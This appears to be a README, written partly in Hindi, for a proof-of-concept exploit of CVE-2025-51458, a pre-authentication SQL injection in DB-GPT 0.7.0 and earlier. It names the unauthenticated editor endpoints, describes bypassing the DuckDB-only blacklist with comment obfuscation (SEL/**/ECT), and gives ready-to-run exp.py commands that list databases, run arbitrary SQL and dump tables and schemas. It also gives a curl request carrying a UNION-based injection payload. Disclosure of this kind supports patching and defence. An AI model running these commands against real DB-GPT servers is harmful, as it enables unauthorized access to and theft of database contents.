
CVE-2025-51458 - DB-GPT पूर्व-प्रमाणीकरण SQL इंजेक्शन PoC
DB-GPT <= 0.7.0 में प्री-ऑथ SQL इंजेक्शन
/api/v1/editor/sql/run और /api/v1/editor/chart/run एंडपॉइंट बिना प्रमाणीकरण के मनमाना SQL स्वीकार करते हैं। sanitize_sql ब्लैकलिस्ट केवल DuckDB को कवर करती है; MySQL, PostgreSQL, और SQLite कनेक्शन बिना किसी फ़िल्टरिंग के रॉ यूज़र इनपुट प्राप्त करते हैं। DuckDB ब्लैकलिस्ट को कमेंट अस्पष्टता (SEL/**/ECT) के माध्यम से बायपास किया जा सकता है।
यह CVE-2024-10835 और CVE-2024-10901 का बायपास है।
# List databases
python3 exp.py http://target:5670 --list-dbs
# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"
# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables
# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db
# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"
# Interactive mode
python3 exp.py http://target:5670 <db_name>
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'